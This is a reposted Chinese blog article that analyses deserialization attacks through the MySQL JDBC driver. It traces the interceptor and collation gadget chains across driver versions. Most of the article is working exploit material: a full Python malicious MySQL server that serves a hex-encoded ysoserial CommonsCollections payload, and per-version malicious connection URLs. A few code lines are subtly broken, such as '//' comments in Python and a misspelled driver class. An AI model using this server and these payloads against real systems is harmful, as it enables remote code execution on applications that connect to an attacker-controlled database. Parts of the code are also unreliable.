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JDBC反序列化分析

转载 作者:撒哈拉 更新时间:2024-03-31 16:44:21 55 4
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环境依赖

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.19</version>
</dependency>

原理分析

Java序列化对象的标识符

找两个序列化后的bin文件,进行对比,可以发现前两个字节是固定的AC, ED,变十进制就是-84,-19 记住这两个数,后面分析的时候会用到 。

readObject

触发点在com.mysql.cj.jdbc.result.ResultSetImpl.getObject() 可以看到在触发readObject之前还对data的前两个字节进行了比较来判断是不是序列化对象,-84,-19,这里就派上用处了。 接下来就是正常的找链环节了,找哪里调用了getObject,找到com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues() 跟进resultSetToMap,到此链子就结束了,有点小短( 现在的问题是找rs,toPopulate,上面可以看到rs = stmt.executeQuery("SHOW SESSION STATUS");,rs其实是这个sql语句的返回值,如果我们能控制一个恶意mysql服务端,岂不是就能控制这条sql语句的返回值了,这样rs也就能控制了,这样就能反序列化了。 注意getObject这里有个if判断,这个autoDeserialize的value值得是true,才能进入 。

Mysql认证报文分析

写一个JDBC client 。

package org.example;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        String Driver = "com.mysql.cj.jdbc.Deiver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&serverTimezone=GMT%2B8";
        Class.forName(Driver);
        Connection conn = DriverManager.getConnection(DB_URL, "root", "root");
    }
}

用Wireshark抓下本地包,过滤条件tcp.port==3306 可以看到Mysql也是有一套认证系统的,看一个Response OK的 Mysql Protocol认证报文为0700000300000002000000,也就是说我们恶意服务端只需要返回该数据给Request即可完成认证。再看看问候报文 发送原始数据,恶意服务端将这部分修改为恶意payload,可以反序列化 。

ServerStatusDiffInterceptor链

8.0.7-8.0.20

先准备一个恶意Mysql服务端 。

# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000300000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > a 
    file= r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢??
                //获取payload
                payload_content=get_payload_content()
                //计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                //计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()
package org.example;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        String Driver = "com.mysql.cj.jdbc.Driver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&serverTimezone=GMT%2B8";
        Class.forName(Driver);
        Connection conn = DriverManager.getConnection(DB_URL);
    }
}

成功弹出计算器 调试分析一波,getConnection处打个断点,跟进 进入另一个getConnection,跟进 进入connect 进入getInstance 进入ConnectionImpl,到这里就有版本上的不同了,往下走 首先进入initializeSafeQueryInterceptors,初始化请求监听器,然后进入createNewIO 进行跟进connectOneTryOnly 进入initializePropsFromServer 跟进handleAutoCommitDefaults 调用setAutoCommit 调用execSQL,至此进入主要逻辑 调用sendQueryString,进入之后又调用了sendQueryPacket,发送数据包 调用invokeQueryInterceptorsPre 调用preProcess populateMapWithSessionStatusValues是不是很熟悉,跟进,跟之前分析readObject一样的操作,rs就是恶意mysql服务端返回的数据 。

5.1.0-5.1.10

这个版本都找不到,直接放payload了 。

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);
String sql = "select database()";
PreparedStatement ps = conn.prepareStatement(sql);
//执行查询操作,返回的是数据库结果集的数据表
ResultSet resultSet = ps.executeQuery();

5.1.11-5.1.xx

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

注意这里要是用我上面给的恶意服务器,username就不要填值,要是是github上的那种恶意mysql,就按它的要求填username,对应调用的payload 。

6.x

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

8.20以后

GG,不调用getObject了 。

detectCustomCollations链

6.0.2-6.0.6

package org.example;
import java.sql.*;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Connection conn=null;
        String url = "jdbc:mysql://127.0.0.1:3309/mysql?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections7_calc";
        String username = "yso_CommonsCollections7_calc";
        String password = "";
        Class.forName("com.mysql.jdbc.Driver");
        conn = DriverManager.getConnection(url, username, password);
    }
}

这里username有讲究,用到了一个开源工具fake_mysql: https://github.com/fnmsd/MySQL_Fake_Server 需要注意的有2点,python版本低于3.8,然后config.json里面的路径中的反斜杠用2个,这样就不会报错,成功弹出计算器 同样下断点进行调试,前面的部分基本一样,一直走到initializePropsFromServer 进入buildCollationMapping 到这结束,进入resultSetToMap同样调用到了getObject反序列化,results也是恶意mysql返回的数据 。

8.xx

在buildCollationMapping中不再调用ResultSetUtil.resultSetToMap 寄 。

5.1.49

同8.xx 。

5.1.41-5.1.48

有点答辩,恶意mysql的返回数据居然头不对劲了,难崩得改下server.py 147行改成ResultSet(("11",content,content)).write(server_writer) 。

String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections7_calc";
String username = "yso_CommonsCollections7_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

5.1.29-5.1.40

String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections7_calc";
String username = "yso_CommonsCollections7_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

5.1.19-5.1.28

String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections7_calc";
String username = "yso_CommonsCollections7_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

5.1.19以下

不调用resultSeToMap,G 。

最后此篇关于JDBC反序列化分析的文章就讲到这里了,如果你想了解更多关于JDBC反序列化分析的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。

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